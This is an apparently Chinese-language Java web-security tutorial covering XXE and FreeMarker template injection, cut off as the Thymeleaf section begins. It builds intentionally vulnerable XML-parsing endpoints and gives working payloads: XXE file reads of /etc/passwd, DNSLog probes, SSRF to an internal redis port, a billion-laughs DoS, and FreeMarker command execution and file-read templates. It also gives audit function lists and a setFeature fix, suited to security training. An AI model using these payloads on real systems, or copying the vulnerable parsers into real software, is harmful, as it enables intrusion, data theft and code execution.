Java安全 Web漏洞(下)

java中XXE、SSTI、SpEL的相关利用与审计

XXE

XML 介绍

XML (Extensible Markup Language) 是一种可扩展的标记语言,用于标记电子文件中的各种元素。它是
用来传输和存储数据的一种常用方式,并且可以被很多不同的应用程序所使用。

XML 的基本概念是标记,它使用标签来描述文档中的元素。每个标签都有一个名称,并且可以包含属性
和值。

例如,一个名为 book 的标签可以有一个 “name” 属性,并且值为 test 。

XML 文档通常以根元素开始,并以相应的结束标签结束。

XML 的一个主要优点是它允许不同的应用程序之间进行数据交换,因为它是一种通用的数据格式。

它还可以用于存储数据,并且可以使用 XML 文档来描述数据的结构。

比如,一个描述书籍的XML 文档如下:

1
2
3
4
5
6
7
8
9
10
11
12
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE note SYSTEM "book.dtd">
<book id="1">
<name>Java Sec</name>
<author>admin</author>
<isbn lang="CN">1111</isbn>
<tage>
<tag>Java</tag>
<tag>CyberSecurity</tag>
</tage>
<pubDate/>
</book>

DTD

DTD 是文档类型定义的缩写。它是一种用来定义XML 文档结构的文本文件,用于描述XML 文档中元素的名称、属性和约束关系。可以帮助浏览器或其他应用程序更好地解析和处理XML 文档。

例如,下面是一个简单的DTD,它描述了一个XML 文档,其中包含名为”book”的元素,其中包含一个名为”title”的元素和一个名为”author”的元素:

1
2
3
<!ELEMENT book (title, author)>
<!ELEMENT title (#PCDATA)>
<!ELEMENT author (#PCDATA)>

这个DTD 声明了”book”元素包含一个”title”元素和一个”author”元素,”title”和”author”元素都只包含文本数据(#PCDATA)

因此,下面的XML 文档是有效的:

1
2
3
4
<book>
<title>XML Basics</title>
<author>John Doe</author>
</book>

但下面的XML 文档是无效的,因为它不包含”author”元素:

1
2
3
<book>
<title>XML Basics</title>
</book>

内部的DOCTYPE 声明

内部的DOCTYPE 声明是指将DTD 定义直接包含在XML 文档中的DOCTYPE 声明。

一般形式如下:

1
2
3
<!DOCTYPE root-element [
DTD-definition
]>

这里,root-element 是 XML 文档的根元素,DTD-definition 是 DTD 的定义,包括元素名称、属性和约束关系。

例如,如果XML 文档的根元素是 “book”,并且 DTD 定义如下:

1
2
3
<!ELEMENT book (title, author)>
<!ELEMENT title (#PCDATA)>
<!ELEMENT author (#PCDATA)>

那么内部的DOCTYPE 声明可能如下所示:

1
2
3
4
5
<!DOCTYPE book [
<!ELEMENT book (title, author)>
<!ELEMENT title (#PCDATA)>
<!ELEMENT author (#PCDATA)>
]>

内部的 DOCTYPE 声明的优点是它可以使XML 文档更具可移植性,因为它不依赖于外部文件

但也可能会使XML 文档变得较大,并且如果 DTD定义很复杂,可能会使XML 文档变得难以阅读和维护。

外部的DOCTYPE 声明

外部的DOCTYPE 声明是指将DTD 定义保存在单独的文件中,并在XML 文档中通过DOCTYPE 声明引用该文件的声明。也称为”外部子集”。

一般形式如下:

1
<!DOCTYPE root-element SYSTEM "DTD-location">

root-element 是XML 文档的根元素,DTD-location 是DTD 文件的位置。

1
<!DOCTYPE book SYSTEM "book.dtd">

例如这里,XML 文档的根元素是”book”,并且DTD 文件位于当前目录中的”book.dtd”文件中

优点:使XML 文档更易于阅读和维护、多个XML 文档可以使用相同的DTD 定义

缺点:依赖于外部文件,如果DTD 文件丢失或损坏,XML 文档可能无法正确解析和处理

其实DOCTYPE 声明不是必需的,但它可以帮助浏览器或其他应用程序正确地解析和处理XML 文档。

XML 外部实体注入漏洞

XML 外部实体注入漏洞也就是 XXE

漏洞前提:应用程序使用 XML 处理器解析外部XML 实体

外部XML 实体是指定义在XML 文档外部的实体,它可以引用外部文件或资源。如果XML 处理器没有正确配置,它可能会解析这些外部实体,并将外部文件或资源的内容包含到XML 文档中。

比如:

1
2
3
4
5
6
7
POST /submit-xml HTTP/1.1
Content-Type: application/xml

<user>
<name>John Doe</name>
<email>john.doe@example.com</email>
</user>

当XML处理器没用正确配置,允许解析外部实体时:

1
2
3
4
5
6
7
8
9
10
11
12
POST /submit-xml HTTP/1.1
Content-Type: application/xml

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE user [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>

<user>
<name>&xxe;</name>
<email>john.doe@example.com</email>
</user>

这里定义了一个名为xxe的外部实体,并在xml的name字段引用了该外部实体

如果没有正确配置处理器,导致可以成功解析该实体,就能将/etc/passwd 文件的内容包含到XML 文档中,最终返回给前端

XML 解析示例代码

常见的XML 解析有以下几种方式:DOM 解析、SAX 解析、JDOM 解析、DOM4J 解析、Digester 解析

DOM 和 SAX 为原生自带的。JDOM、DOM4J 和 Digester 需要引入第三方依赖库

在 Java 语言中,常见的 XML 解析器有:

  • DOM(Document Object Model):一种基于树的解析器,将整个XML 文档加载到内存中,并将文档组织成一个树形结构

  • SAX(Simple API for XML):一种基于事件的解析器,它逐行读取XML 文档并触发特定的事件

  • JDOM:一个用于 Java 的开源库,它提供了一个简单易用的 API 来解析和操作 XML 文档

  • DOM4J:一个 Java 的 XML API,是 JDOM 的升级品,用来读写 XML 文件

  • Digester:对 SAX 的包装,底层是采用的是 SAX 解析方式

创建一个名为 xxedemo 的Spring boot 项目工程,依赖项选择web →Spring web ,选择java8

DOM 解析

DOM 的全称是Document Object Model,也即文档对象模型。

用于将一个XML 文档转换成一个 DOM 树,并将 DOM 树放在内存中

大致步骤:

1.创建一个DocumentBuilderFactory对象

2.创建一个DocumentBuilder对象

3.通过 DocumentBuilderparse() 方法加载 XML

4.遍历 name 和 value 节点

新建一个DomTest类,写入如下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
package com.example.xxedemo;

import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import org.w3c.dom.Document;
import org.w3c.dom.Node;
import org.w3c.dom.NodeList;
import org.xml.sax.InputSource;

import javax.servlet.ServletInputStream;
import javax.servlet.http.HttpServletRequest;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import java.io.InputStream;
import java.io.StringReader;
import java.util.Scanner;

@RestController
public class DomTest {
@RequestMapping("/domdemo/vul")
public String DomDemo(HttpServletRequest request) throws Exception{
try {
// 获取输入流
ServletInputStream in = request.getInputStream();
String string = convertStreamToString(in);
StringReader stringReader = new StringReader(string);

// 构造xml输入流
InputSource inputSource = new InputSource(stringReader);
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();
Document document = db.parse(inputSource);

// 遍历xml节点name和value
StringBuilder sb = new StringBuilder();
NodeList rootNode = document.getChildNodes();
for (int i = 0; i < rootNode.getLength(); i++) {
Node node = rootNode.item(i);
NodeList child = node.getChildNodes();
for (int j = 0; j < child.getLength(); j++) {
Node node1 = child.item(j);
sb.append(String.format("%s:%s\n", node1.getNodeName(), node1.getTextContent()));
}
}
stringReader.close();
return sb.toString();
} catch (Exception e) {
throw new Exception(e);
}
}

private static String convertStreamToString(InputStream inputStream) {
Scanner scanner = new Scanner(inputStream).useDelimiter("\\A");
return scanner.hasNext() ? scanner.next() : "";
}
}

先写好代码,方便后续的漏洞验证

SAX 解析

SAX 的全称是 Simple APIs for XML,也即 XML 简单应用程序接口

与 DOM 不同,SAX 提供的访问模式是一种顺序模式,这是一种快速读写 XML 数据的方式

大致步骤:

1.获取 SAXParserFactory 的实例

2.获取 SAXParser 实例

3.创建一个 handler() 对象

4.通过 parserparse() 方法来解析 XML

新建SAXTest类,写入如下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
package com.example.xxedemo;


import com.sun.org.apache.xml.internal.resolver.readers.SAXParserHandler;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import org.xml.sax.InputSource;

import javax.servlet.ServletInputStream;
import javax.servlet.http.HttpServletRequest;
import javax.xml.parsers.SAXParser;
import javax.xml.parsers.SAXParserFactory;
import java.io.InputStream;
import java.io.StringReader;
import java.util.Scanner;

@RestController
public class SAXTest {
@RequestMapping("/saxdemo/vul")
public String saxDemo(HttpServletRequest request) throws Exception {
// 获取输入流
ServletInputStream inputStream = request.getInputStream();
String body = convertStreamToString(inputStream);

SAXParserFactory spf = SAXParserFactory.newInstance();
SAXParser saxParser = spf.newSAXParser();
SAXParserHandler saxParserHandler = new SAXParserHandler();

// 解析xml
saxParser.parse(new InputSource(new StringReader(body)), saxParserHandler);

return "Sax xxe vuln :";
}

private String convertStreamToString(InputStream inputStream) {
Scanner s = new Scanner(inputStream).useDelimiter("\\A");
return s.hasNext() ? s.next() : "";
}

}

这个功能点,没有回显,但可以通过DNSlog外带来探测

JDOM 解析

JDOM 是一个开源项目,它基于树型结构,利用纯 JAVA 的技术对 XML 文档实现解析、生成、序列化以及多种操作

使用大致步骤:

1.创建一个 SAXBuilder的对象

2.通过 saxBuilderbuild()方法,将输入流加载到 saxBuilder

使用前需要引入该依赖:

1
2
3
4
5
<dependency>
<groupId>org.jdom</groupId>
<artifactId>jdom</artifactId>
<version>1.1.3</version>
</dependency>

新建JDOMTest类,写入如下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
package com.example.xxedemo;

import org.jdom.input.SAXBuilder;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import org.xml.sax.InputSource;

import javax.servlet.ServletInputStream;
import javax.servlet.http.HttpServletRequest;
import java.io.InputStream;
import java.io.StringReader;
import java.util.Scanner;


@RestController
public class JDOMTest {
@RequestMapping("/jdomdemo/vul")
public String jdomdemo(HttpServletRequest request) throws Exception{
ServletInputStream inputStream = request.getInputStream();
String body = convertStreamToString(inputStream);
SAXBuilder saxBuilder = new SAXBuilder();
saxBuilder.build(new InputSource(new StringReader(body)));

return "Jdom xxe vuln";
}

private String convertStreamToString(InputStream inputStream) {
Scanner scanner = new Scanner(inputStream).useDelimiter("\\A");
return scanner.hasNext() ? scanner.next() : "";
}
}

DOM4J 解析

Dom4j 是一个易用的、开源的库,用于XML,XPath 和 XSLT

应用于Java 平台,采用了Java 集合框架并完全支持 DOM,SAX 和 JAXP

可以理解为 Jdom 的升级

大致步骤:

1.创建 SAXReader 的对象 reader

2.通过 reader 对象的 read() 方法加载 xml 文件

使用前需要引入该依赖:

1
2
3
4
5
<dependency>
<groupId>dom4j</groupId>
<artifactId>dom4j</artifactId>
<version>1.6.1</version>
</dependency>

创建DOM4JTest,写入如下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
package com.example.xxedemo;

import org.dom4j.io.SAXReader;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import org.xml.sax.InputSource;

import javax.servlet.ServletInputStream;
import javax.servlet.http.HttpServletRequest;
import java.io.InputStream;
import java.io.StringReader;
import java.util.Scanner;

@RestController
public class DOM4JTest {
@RequestMapping("/dom4jdemo/vuln")
public String dom4jdemo(HttpServletRequest request) throws Exception {
ServletInputStream inputStream = request.getInputStream();
String body = convertStreamToString(inputStream);
SAXReader saxReader = new SAXReader();
saxReader.read(new InputSource(new StringReader(body)));

return "Dom4j xxe vuln";
}
private String convertStreamToString(InputStream inputStream) {
Scanner scanner = new Scanner(inputStream).useDelimiter("\\A");
return scanner.hasNext() ? scanner.next() : "";
}
}

Digester 解析

Digester 是对 SAX 的包装,底层是采用的是 SAX 解析方式

大致步骤:

1.创建 Digester 对象

2.调用 Digester 对象的 parse() 解析 XML

引入依赖:

1
2
3
4
5
<dependency>
<groupId>commons-digester</groupId>
<artifactId>commons-digester</artifactId>
<version>2.1</version>
</dependency>

新建DigesterTest类,并写入如下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
package com.example.xxedemo;

import org.apache.commons.digester.Digester;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;

import javax.servlet.ServletInputStream;
import javax.servlet.http.HttpServletRequest;
import java.io.InputStream;
import java.io.StringReader;
import java.util.Scanner;

@RestController
public class DigesterTest {
@RequestMapping("/digesterdemo/vul")
public String DigesterDemo(HttpServletRequest request) throws Exception {
ServletInputStream inputStream = request.getInputStream();
String body = convertStreamToString(inputStream);
Digester digester = new Digester();
digester.parse(new StringReader(body));

return "Digester xxe vul ...";
}

private String convertStreamToString(InputStream inputStream) {
Scanner scanner = new Scanner(inputStream).useDelimiter("\\A");
return scanner.hasNext() ? scanner.next() : "";
}
}

XXE 漏洞实战

Java XXE 支持的协议

同ssrf一样,xxe支持sun.net.www.protocol 里面的所有协议:http,https,file,ftp,mailto,jar,netdoc

通常可以使用以下协议来发起XXE 攻击:

  • file:允许通过文件系统访问本地文件
  • http/https:允许通过HTTP 协议访问远程服务器上的文件
  • ftp:允许通过FTP 协议访问远程服务器上的文件。

例如,下面的XML 文档可以使用 file 协议读取本地文件 /etc/passwd :

1
2
3
4
5
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<root>&file;</root>

虽然jdk1.7后就不支持gopher 协议了,但在 JDK 1.7 和 JDK 1.6 update 35 是支持 gopher 协议的

https://docs.oracle.com/javase/7/docs/technotes/guides/jweb/otherFeatures/protocol_support.html

file协议回显读取数据

以上述的DomTest为例,演示有回显场景下如何利用file协议读取文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
POST /domdemo/vul HTTP/1.1
Sec-Ch-Ua: "Microsoft Edge";v="131", "Chromium";v="131", "Not_A Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: Windows
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Edg/131.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Content-Type: test/xml

<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY file SYSTEM "file:///D:/flag.txt">
]>
<root>&file;</root>

数据包中 Content-Type 大多数情况下值为 text/xml 或 application/xml ,以避免报错,有些情况下也可以不指定

两者区别在于编码格式不同

网络协议访问 DNSLog

无回显场景下,可以使用网络协议 HTTP/HTTPS 向 DNSLog 发起请求,初步判断是否存在 XXE 漏洞

1
2
3
4
5
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY file SYSTEM "https://xxxxx.dnslog.cn">
]>
<root>&file;</root>

DigesterTest为例,该代码不会回显payload的结果,只能通过dnslog来验证漏洞

XXE 漏洞审计函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
XMLReaderFactory
createXMLReader
SAXBuilder
SAXReader
SAXParserFactory
newSAXParser
Digester
DocumentBuilderFactory
DocumentBuilder
XMLReader
DocumentHelper
XMLStreamReader
SAXParser
SAXSource
TransformerFactory
SAXTransformerFactory
SchemaFactory
Unmarshaller
XPathExpression
javax.xml.parsers.DocumentBuilder
javax.xml.parsers.DocumentBuilderFactory
javax.xml.stream.XMLStreamReader
javax.xml.stream.XMLInputFactory
org.jdom.input.SAXBuilder
org.jdom2.input.SAXBuilder
org.jdom.output.XMLOutputter
oracle.xml.parser.v2.XMLParser
javax.xml.parsers.SAXBuilder
org.dom4j.io.SAXReader
org.dom4j.DocumentHelper
org.xml.sax.XMLReader
javax.xml.transform.sax.SAXSource
javax.xml.transform.TransformerFactory
javax.xml.transform.sax.SAXTransformerFactory
javax.xml.validation.SchemaFactory
javax.xml.validation.Validator
javax.xml.bind.Unmarshaller
javax.xml.xpath.XPathExpression
java.beans.XMLDecode

相关payload

读取本地文件

Windows 系统读取文件需要带上盘符,如: file:///C:/
Linux/Unix 系统读取文件: file:///

1
2
3
4
5
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY file SYSTEM "file:///D:/flag.txt">
]>
<root>&file;</root>

请求DNSLog

1
2
3
4
5
6
<?xml version="1.0"?>

<!DOCTYPE root [
<!ENTITY file SYSTEM "https://dnslog地址">
]>
<root>&file;</root>

SSRF 探测内网

可通过时间响应差异、回显等情况探测内网 IP,以及端口开放情况

例如内网redis未授权利用

1
2
3
4
5
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY file SYSTEM "http://127.0.0.1:6379">
]>
<root>&file;</root>

Dos 攻击

没啥实际用处其实,就是通过不断迭代增大变量的空间,进而导致内存崩溃

1
2
3
4
5
6
7
8
9
10
11
12
<?xml version="1.0" ?>
<!DOCTYPE lolz [<!ENTITY lol "lol"><!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
<tag>&lol9;</tag>

相关靶场

https://github.com/c0ny1/xxe-lab/blob/master/java_xxe/src/me/gv7/xxe/LoginServlet.java

https://github.com/WebGoat/WebGoat/tree/develop/src/main/java/org/owasp/webgoat/lessons/xxe

https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/XXE.java

https://github.com/j3ers3/Hello-Java-Sec/blob/master/src/main/java/com/best/hello/controller/XXE/XXE.java

XXE 漏洞修复

目前常用的修复方案为 setFeature。设置 setFeature 打开或关闭一些配置,进而防御 XXE 攻击

例如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
@RequestMapping(value = "/Digester/sec", method = RequestMethod.POST)
public String DigesterSec(HttpServletRequest request) {
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);
Digester digester = new Digester();
digester.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
digester.setFeature("http://xml.org/sax/features/externalgeneral-entities", false);
digester.setFeature("http://xml.org/sax/features/externalparameter-entities", false);
digester.parse(new StringReader(body)); // parse xml
return "Digester xxe security code";
} catch (Exception e){
logger.error(e.toString());
return EXCEPT;
}
}

其中disallow-doctype-decl是防御XXE的最重要的特性,将该特性设置成true后,几乎所有的XML实体攻击都会被成功防御。

相关参考:

探讨XXE防御之setFeature设置

https://github.com/LeadroyaL/java-xxe-defense-demo

SSTI

模板引擎介绍

模板引擎就是前端做好一个模板页面,例如人员信息展示页面,在姓名,性别,年龄处,使用模板引擎特定的”变量符/指令/插值“进行占位,后端查询回来的数据可以动态的向这些占位处填充实际数据

常见的Java模板引擎:FreeMarkerVelocityThymeleaf,python中则有flask,jinja2

其实 JSP 也是一种模板引擎,通过后端向前端插入数据而实现动态网页的效果

在 JSP 之前,使用 servlet 来实现动态网页效果,将数据返回到前端生成 HTML 页面时,异常的繁琐,需要使用 out.write() 一行行的输出,比如:

1
2
3
4
5
out.write("<html>\n")
out.write("<head>\n")
out.write("<h1>hello servlet</h1>\n")
out.write("</head>\n")
out.write("</html>\n")

虽然 JSP 也是模板引擎的一种,但是由于其本质就是 servlet,可以直接无阻碍的访问底层的 servletAPI,也可以编写后端代码逻辑,导致前端和后端纠缠在一起,违背了面向对象低耦合,高内聚的核心思想,维护起来也越来越繁琐

因此经过演变,以及优秀的模板引擎接连不断地出现,JSP 也逐渐被替代

模板注入漏洞

SSTI (Server-Side Template Injection,服务器端模板注入),广泛来说是在模板引擎解析模板时,可能因为代码实现不严谨,存在将恶意代码注入到模板的漏洞。这种漏洞可以被攻击者利用来在服务器端执行任意代码,造成严重的安全威胁。

简单说,在模板引擎渲染模板时,如果模板中存在恶意代码,进而会在渲染时执行恶意代码。

不同的模板触发漏洞的场景也不同,下面我们将针对 FreeMarker,Velocity 和Thymeleaf 这三款模板引擎进行分析

FreeMarker

参考文档:http://freemarker.foofun.cn/index.html

FreeMarker 是一款模板引擎: 即一种基于模板和要改变的数据, 并用来生成输出文本(HTML 网页,电子邮件,配置文件,源代码等)的通用工具。

它不是直接面向最终用户的,而是一个Java 类库,是一款程序员可以嵌入他们所开发产品的组件

总体结构

FTL (代表FreeMarker 模板语言)是为编写模板设计的编程语言

模板(FTL 编程)组成:

  • 文本:文本会照着原样来输出
  • 插值:这部分的输出会被计算的值来替换。插值由 ${ and } 所分隔的(或者 #{and } ),但这种风格已经不建议再使用http://freemarker.foofun.cn/ref_depr_numerical_interpolation.html
  • FTL 标签:FTL 标签和HTML 标签很相似,但是它们却是给FreeMarker 的指示, 而且不会打印在输出内容中
  • 注释:注释和HTML 的注释也很相似,但它们是由 <#– 和 –> 来分隔的。注释会被FreeMarker 直接忽略, 更不会在输出内容中显示。

插值

http://freemarker.foofun.cn/dgui_template_valueinsertion.html

插值是用来给 表达式插入具体值然后转换为文本(字符串)。

使用格式:${expression},这里的 expression 可以是所有种类的表达式(比如 ${100 + x} )。

插值仅仅可以在两种位置使用:在文本区 (比如 <h1>Hello ${name}!</h1> )

和字符串表达式 (比如 <#include "/footer/${company}.html"> )中。

内建函数

Freemarker 自带大量的内建函数: 内建函数参考 - FreeMarker 中文官方参考手册

我们主要关注api和new两个内建函数

api 内建函数

这些内建函数从 FreeMarker 2.3.22 版本开始存在

如果value本身支持这个额外的特性, value?api 提供访问 value 的API (通常是 Java API)

比如 value?api.someJavaMethod(), 当需要调用对象的Java方法时,这种方式很少使用, 但是 FreeMarker 揭示的value的简化视图的模板隐藏了它,也没有相等的内建函数。

例如,当有一个 Map,并放入数据模型 (使用默认的对象包装器),模板中的 myMap.myMethod() 基本上翻译成Java的 ((Method) myMap.get("myMethod")).invoke(...),因此不能调用 myMethod

如果编写了 myMap?api.myMethod() 来代替,那么就是Java中的 myMap.myMethod()

http://freemarker.foofun.cn/ref_builtins_expert.html#ref_buitin_api_and_has_api

new 内建函数

这是用来创建一个确定的 TemplateModel 实现变量的内建函数。

? 的左边你可以指定一个字符串, 是 TemplateModel 实现类的完全限定名。 结果是调用构造方法生成一个方法变量,然后将新变量返回。

比如:

1
2
3
4
<#-- Creates an user-defined directive be calling the parameterless constructor of the class -->
<#assign word_wrapp = "com.acmee.freemarker.WordWrapperDirective"?new()>
<#-- Creates an user-defined directive be calling the constructor with one numerical argument -->
<#assign word_wrapp_narrow = "com.acmee.freemarker.WordWrapperDirective"?new(40)>

更多关于构造方法参数被包装和如何选择重载的构造方法信息, 请阅读: 程序开发指南/其它/Bean的包装

该内建函数可以是出于安全考虑的, 因为模板作者可以创建任意的Java对象,只要它们实现了 TemplateModel 接口,然后来使用这些对象。 而且模板作者可以触发没有实现 TemplateModel 接口的类的静态初始化块。你可以(从 2.3.17版开始)使用 Configuration.setNewBuiltinClassResolver(TemplateClassResolver) 或设置 new_builtin_class_resolver 来限制这个内建函数对类的访问。 参考Java API文档来获取详细信息。

如果允许并不是很可靠的用户上传模板, 那么你一定要关注这个问题。

Freemarker 示例代码

使用SpringBoot整合Freemarker 做个简单的demo

创建项目FreemarkerDemo,选择依赖Web-Spring WebTemplate - Apache Freemarker

src/main/resources/application.properties添加Freemarker相关配置:

一般会自动帮你配好,没有就添加上

1
2
3
4
5
6
7
8
9
10
11
12
server.port=8080
# 指定freemarker模板路径和模板后缀
spring.freemarker.template-loader-path=classpath:/templates/
spring.freemarker.suffix=.ftl
spring.freemarker.charset=utf-8
# 是否启用缓存
spring.freemarker.cache=false
# 是否暴露请求和会话属性
spring.freemarker.expose-request-attributes=true
spring.freemarker.expose-session-attributes=true
# spring静态资源路径
spring.resources.static-locations=classpath:/static/

接着在src/main/resources/templates新建index.ftl的文件,并写入如下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="UTF-8">
<title>FreeMarkerDemo</title>
</head>
<body>
<table>
<tr>
<td>ID</td>
<td>名称</td>
</tr>
<tr>
<td>${user.id}</td>
<td>${user.name}</td>
</tr>
</table>
</body>
</html>

新建FreemarkerController类,并写入:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
package com.example.freemarkerdemo;

import org.springframework.stereotype.Controller;
import org.springframework.ui.ModelMap;
import org.springframework.web.bind.annotation.RequestMapping;

import java.util.HashMap;

@Controller
public class FreemarkerController {
@RequestMapping("/freemarker/index")
public String FmIndex(ModelMap modelMap){
HashMap<Object, Object> map = new HashMap<>();
map.put("id", "smal1black");
map.put("name", "小黑");

modelMap.addAttribute("user", map);
return "index";
}
}

Freemarker 模板注入漏洞

该模板的注入无法直接通过传参输入payload进行利用,通常使用上传/修改模板,并在其中嵌入payload来利用

与其他模板引擎不同的是,它的攻击可以是直接把恶意代码嵌入到 html 文件中,也就是 .ftl 文件中,进而就会造成有危害的攻击。

但是Freemarker 无法直接接受用户的输入 Pyaload 而被攻击(直接传参),因为会有转码等操作,所以常用上传/修改模板,并在其中嵌入payload来进行攻击

相关 payload

FreeMarker 中有大量的内建函数,其中 new 函数和 api 函数可以实现达到命令执行的效果。

但对于 api 函数必须在配置项 api_builtin_enabled true 时才有效

该配置在 2.3.22 版本之后默认为 false

new 内建函数利用:

参考:https://paper.seebug.org/1304/#freemarker

主要是寻找实现了 TemplateModel 接口的可利用类来进行实例化

freemarker.template.utility 包中存在三个符合条件的类:

  • Execute 类
  • ObjectConstructor 类、
  • JythonRuntime 类。
1
2
3
4
5
<#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}

<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","calc.exe").start()}

<#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("calc.exe")</@value> //@value为自定义标签

api 内建函数利用

依旧参考:https://paper.seebug.org/1304/#freemarker

可以通过 api 内建函数获取类的 classloader 然后加载恶意类,或者通过Class.getResource 的返回值来访问 URI 对象。 URI 对象包含 toURL 和create 方法,我们通过这两个方法创建任意 URI ,然后用 toURL 访问任意URL

加载恶意类:

1
2
<#assign classLoader=object?api.class.getClassLoader()>
${classLoader.loadClass("Evil.class")}

读取任意文件:

1
2
3
4
5
6
7
8
9
<#assign uri=object?api.class.getResource("/").toURI()>
<#assign input=uri?api.create("file:///etc/passwd").toURL().openConnection()>
<#assign is=input?api.getInputStream()>
FILE:[<#list 0..999999999 as _>
<#assign byte=is.read()>
<#if byte == -1>
<#break>
</#if>
${byte}, </#list>]

更多payload:https://teamssix.com/211203-200441.html#toc-heading-3

源码示例

在FreemarkerDemo 项目中的 index.ftl 文件中嵌入以下攻击代码后,再次访问,即可实现弹出计算器的效果

本质就是模仿上传/修改模板的利用点来直接修改模板内容,达到攻击的效果

1
<#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}

再看这个漏洞项目:https://github.com/pawelkaliniakit/springboot-freemarker-ssti

HelloController.java:

这里的hello 接口是获取用户输入的值替换到模板文件插值中

template 接口,在该接口中主要使用了 StringTemplateLoader 下的putTemplate() 方法,该方法是将模板放入加载器中

由此看来,可以通过先调用template接口,对原有的模板进行覆盖,替换成含有恶意payload的模板,再次访问hello接口,使该恶意模板生效,达到攻击的目的

正常调用hello接口

接下来调用template,尝试用恶意模板覆盖原有模板

hello.ftl即是hello接口使用的模板

1
2
3
{
"hello.ftl": "<!DOCTYPE html><html lang=\"en\"><head><meta chars\r\net=\"UTF-8\"><#assign ex=\"freemarker.template.utility.Execute\"?\r\nnew()> ${ ex(\"calc.exe\") }<title>Hello!</title><link href=\"/cs\r\ns/main.css\" rel=\"stylesheet\"></head><body><h2 class=\"hello-ti\r\ntle\">Hello!</h2><script src=\"/js/main.js\"></script></body></ht\r\nml>"
}

然后再次调用hello接口,成功触发payload弹出calc

Thymeleaf

官方文档:https://www.thymeleaf.org/documentation.html

主要特点:

  • 可以处理 HTML,XML,JavaScript,CSS 等各种文本格式
  • 可以在不同的Web 框架中使用,如 Spring,Spring Boot,Play Framework
  • 自然的模板语法和预处理引擎,易于学习和使用
  • 可以与其他 Java 技术集成,如 Spring Security,Spring Data 等
  • 支持模板片段,使得模板的重用性更高
  • 可以在运行时或者静态地执行模板,方便模板的测试和调试
  • 同时也是可扩展的,可以添加自定义标签和扩展函数,以实现自己的需求

Thymeleaf 样例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<table>
<thead>
<tr>
<th th:text="#{msgs.headers.name}">Name</th>
<th th:text="#{msgs.headers.price}">Price</th>
</tr>
</thead>
<tbody>
<tr th:each="prod: ${allProducts}">
<td th:text="${prod.name}">Oranges</td>
<td th:text="${#numbers.formatDecimal(prod.price, 1, 2)}">0.99</td>
